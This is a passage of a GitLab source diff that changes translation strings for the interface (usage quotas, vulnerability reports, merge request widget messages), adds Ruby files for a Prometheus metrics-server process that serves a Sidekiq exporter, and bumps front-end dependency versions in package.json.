msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr ""
-
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/metrics_server/dependencies.rb b/metrics_server/dependencies.rb
new file mode 100644
index 00000000000..a459efef1ad
--- /dev/null
+++ b/metrics_server/dependencies.rb
@@ -0,0 +1,27 @@
+# rubocop:disable Naming/FileName
+# frozen_string_literal: true
+
+require 'shellwords'
+require 'fileutils'
+
+require 'active_support/concern'
+require 'active_support/inflector'
+
+require 'prometheus/client'
+require 'rack'
+
+require_relative 'settings_overrides'
+
+require_relative '../lib/gitlab/daemon'
+require_relative '../lib/gitlab/utils'
+require_relative '../lib/gitlab/utils/strong_memoize'
+require_relative '../lib/prometheus/cleanup_multiproc_dir_service'
+require_relative '../lib/gitlab/metrics/prometheus'
+require_relative '../lib/gitlab/metrics'
+require_relative '../lib/gitlab/metrics/exporter/base_exporter'
+require_relative '../lib/gitlab/metrics/exporter/sidekiq_exporter'
+require_relative '../lib/gitlab/health_checks/probes/collection'
+require_relative '../lib/gitlab/health_checks/probes/status'
+require_relative '../lib/gitlab/process_management'
+
+# rubocop:enable Naming/FileName
diff --git a/metrics_server/metrics_server.rb b/metrics_server/metrics_server.rb
new file mode 100644
index 00000000000..56fc20dcc9d
--- /dev/null
+++ b/metrics_server/metrics_server.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require_relative '../config/boot'
+
+require_relative 'dependencies'
+
+class MetricsServer # rubocop:disable Gitlab/NamespacedClass
+ class << self
+ def spawn(target, metrics_dir:, wipe_metrics_dir: false, trapped_signals: [])
+ raise "The only valid target is 'sidekiq' currently" unless target == 'sidekiq'
+
+ pid = Process.fork
+
+ if pid.nil? # nil means we're inside the fork
+ # Remove any custom signal handlers the parent process had registered, since we do
+ # not want to inherit them, and Ruby forks with a `clone` that has the `CLONE_SIGHAND`
+ # flag set.
+ Gitlab::ProcessManagement.modify_signals(trapped_signals, 'DEFAULT')
+
+ server = MetricsServer.new(target, metrics_dir, wipe_metrics_dir)
+ # This rewrites /proc/cmdline, since otherwise tools like `top` will show the
+ # parent process `cmdline` which is really confusing.
+ $0 = server.name
+
+ server.start
+ else
+ Process.detach(pid)
+ end
+
+ pid
+ end
+ end
+
+ def initialize(target, metrics_dir, wipe_metrics_dir)
+ @target = target
+ @metrics_dir = metrics_dir
+ @wipe_metrics_dir = wipe_metrics_dir
+ end
+
+ def start
+ ::Prometheus::Client.configure do |config|
+ config.multiprocess_files_dir = @metrics_dir
+ end
+
+ FileUtils.mkdir_p(@metrics_dir, mode: 0700)
+ ::Prometheus::CleanupMultiprocDirService.new.execute if @wipe_metrics_dir
+
+ settings = Settings.new(Settings.monitoring[name])
+
+ exporter_class = "Gitlab::Metrics::Exporter::#{@target.camelize}Exporter".constantize
+ server = exporter_class.instance(settings, synchronous: true)
+
+ server.start
+ end
+
+ def name
+ "#{@target}_exporter"
+ end
+end
diff --git a/metrics_server/override_rails_constants.rb b/metrics_server/override_rails_constants.rb
new file mode 100644
index 00000000000..76e49edfbb0
--- /dev/null
+++ b/metrics_server/override_rails_constants.rb
@@ -0,0 +1,20 @@
+# rubocop:disable Naming/FileName
+# frozen_string_literal: true
+
+require 'active_support/environment_inquirer'
+
+module Rails
+ extend self
+
+ def env
+ @env ||= ActiveSupport::EnvironmentInquirer.new(
+ ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development"
+ )
+ end
+
+ def root
+ Pathname.new(File.expand_path('..', __dir__))
+ end
+end
+
+# rubocop:enable Naming/FileName
diff --git a/metrics_server/settings_overrides.rb b/metrics_server/settings_overrides.rb
new file mode 100644
index 00000000000..8572b4f86b0
--- /dev/null
+++ b/metrics_server/settings_overrides.rb
@@ -0,0 +1,14 @@
+# rubocop:disable Naming/FileName
+# frozen_string_literal: true
+
+# Sidekiq-cluster code is loaded both inside a Rails/Rspec
+# context as well as outside of it via CLI invocation. When it
+# is loaded outside of a Rails/Rspec context we do not have access
+# to all necessary constants. For example, we need Rails.root to
+# determine the location of bin/metrics-server.
+# Here we make the necessary constants available conditionally.
+require_relative 'override_rails_constants' unless Object.const_defined?('Rails')
+
+require_relative '../config/settings'
+
+# rubocop:enable Naming/FileName
diff --git a/package.json b/package.json
index 5016d75f74c..4310081acf6 100644
--- a/package.json
+++ b/package.json
@@ -55,44 +55,44 @@
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.7",
"@gitlab/favicon-overlay": "2.0.0",
- "@gitlab/svgs": "1.220.0",
+ "@gitlab/svgs": "2.0.0",
"@gitlab/tributejs": "1.0.0",
- "@gitlab/ui": "32.36.0",
+ "@gitlab/ui": "32.50.0",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "6.1.4-1",
"@rails/ujs": "6.1.4-1",
"@sentry/browser": "5.30.0",
"@sourcegraph/code-host-integration": "0.0.60",
- "@tiptap/core": "^2.0.0-beta.125",
- "@tiptap/extension-blockquote": "^2.0.0-beta.19",
- "@tiptap/extension-bold": "^2.0.0-beta.19",
- "@tiptap/extension-bullet-list": "^2.0.0-beta.18",
- "@tiptap/extension-code": "^2.0.0-beta.20",
- "@tiptap/extension-code-block-lowlight": "2.0.0-beta.47",
- "@tiptap/extension-document": "^2.0.0-beta.13",
- "@tiptap/extension-dropcursor": "^2.0.0-beta.19",
- "@tiptap/extension-gapcursor": "^2.0.0-beta.27",
- "@tiptap/extension-hard-break": "^2.0.0-beta.24",
- "@tiptap/extension-heading": "^2.0.0-beta.18",
- "@tiptap/extension-history": "^2.0.0-beta.16",
- "@tiptap/extension-horizontal-rule": "^2.0.0-beta.24",
- "@tiptap/extension-image": "^2.0.0-beta.19",
- "@tiptap/extension-italic": "^2.0.0-beta.19",
- "@tiptap/extension-link": "^2.0.0-beta.23",
- "@tiptap/extension-list-item": "^2.0.0-beta.14",
- "@tiptap/extension-ordered-list": "^2.0.0-beta.19",
- "@tiptap/extension-paragraph": "^2.0.0-beta.17",
- "@tiptap/extension-strike": "^2.0.0-beta.21",
- "@tiptap/extension-subscript": "^2.0.0-beta.4",
- "@tiptap/extension-superscript": "^2.0.0-beta.4",
- "@tiptap/extension-table": "^2.0.0-beta.34",
- "@tiptap/extension-table-cell": "^2.0.0-beta.15",
- "@tiptap/extension-table-header": "^2.0.0-beta.17",
- "@tiptap/extension-table-row": "^2.0.0-beta.14",
- "@tiptap/extension-task-item": "^2.0.0-beta.21",
- "@tiptap/extension-task-list": "^2.0.0-beta.18",
- "@tiptap/extension-text": "^2.0.0-beta.13",
- "@tiptap/vue-2": "^2.0.0-beta.60",
+ "@tiptap/core": "^2.0.0-beta.143",
+ "@tiptap/extension-blockquote": "^2.0.0-beta.25",
+ "@tiptap/extension-bold": "^2.0.0-beta.24",
+ "@tiptap/extension-bullet-list": "^2.0.0-beta.23",
+ "@tiptap/extension-code": "^2.0.0-beta.25",
+ "@tiptap/extension-code-block-lowlight": "2.0.0-beta.57",
+ "@tiptap/extension-document": "^2.0.0-beta.15",
+ "@tiptap/extension-dropcursor": "^2.0.0-beta.25",
+ "@tiptap/extension-gapcursor": "^2.0.0-beta.33",
+ "@tiptap/extension-hard-break": "^2.0.0-beta.30",
+ "@tiptap/extension-heading": "^2.0.0-beta.23",
+ "@tiptap/extension-history": "^2.0.0-beta.21",
+ "@tiptap/extension-horizontal-rule": "^2.0.0-beta.30",
+ "@tiptap/extension-image": "^2.0.0-beta.24",
+ "@tiptap/extension-italic": "^2.0.0-beta.24",
+ "@tiptap/extension-link": "^2.0.0-beta.28",
+ "@tiptap/extension-list-item": "^2.0.0-beta.19",
+ "@tiptap/extension-ordered-list": "^2.0.0-beta.24",
+ "@tiptap/extension-paragraph": "^2.0.0-beta.22",
+ "@tiptap/extension-strike": "^2.0.0-beta.26",
+ "@tiptap/extension-subscript": "^2.0.0-beta.9",
+ "@tiptap/extension-superscript": "^2.0.0-beta.9",
+ "@tiptap/extension-table": "^2.0.0-beta.43",
+ "@tiptap/extension-table-cell": "^2.0.0-beta.20",
+ "@tiptap/extension-table-header": "^2.0.0-beta.22",
+ "@tiptap/extension-table-row": "^2.0.0-beta.19",
+ "@tiptap/extension-task-item": "^2.0.0-beta.29",
+ "@tiptap/extension-task-list": "^2.0.0-beta.23",
+ "@tiptap/extension-text": "^2.0.0-beta.15",
+ "@tiptap/vue-2": "^2.0.0-beta.69",
"@toast-ui/editor": "^2.5.2",
"@toast-ui/vue-editor": "^2.5.2",
"apollo-cache-inmemory": "^1.6.6",
@@ -115,8 +115,9 @@
"codesandbox-api": "0.0.23",
"compression-webpack-plugin": "^5.0.2",
"copy-webpack-plugin": "^6.4.1",
- "core-js": "^3.18.2",
+ "core-js": "^3.20.0",
"cron-validator": "^1.1.1",
+ "cronstrue": "^1.122.0",
"cropper": "^2.3.0",
"css-loader": "^2.1.1",
"d3": "^5.16.0",
@@ -125,15 +126,16 @@
"dateformat": "^5.0.1",
"deckar01-task_list": "^2.3.1",
"diff": "^3.4.0",
- "dompurify": "^2.3.3",
+ "dompurify": "^2.3.4",
"dropzone": "^4.2.0",
"editorconfig": "^0.15.3",
- "emoji-regex": "^7.0.3",
+ "emoji-regex": "^10.0.0",
"fast-mersenne-twister": "1.0.2",
"file-loader": "^6.2.0",
"fuzzaldrin-plus": "^0.6.0",
"graphql": "^15.4.0",
"graphql-tag": "^2.11.0",
+ "highlight.js": "^11.3.1",
"immer": "^7.0.7",
"ipaddr.js": "^1.9.1",
"jed": "^1.1.1",
@@ -161,10 +163,10 @@
"portal-vue": "^2.1.7",
"prismjs": "^1.21.0",
"prosemirror-markdown": "^1.6.0",
- "prosemirror-model": "^1.14.3",
+ "prosemirror-model": "^1.15.0",
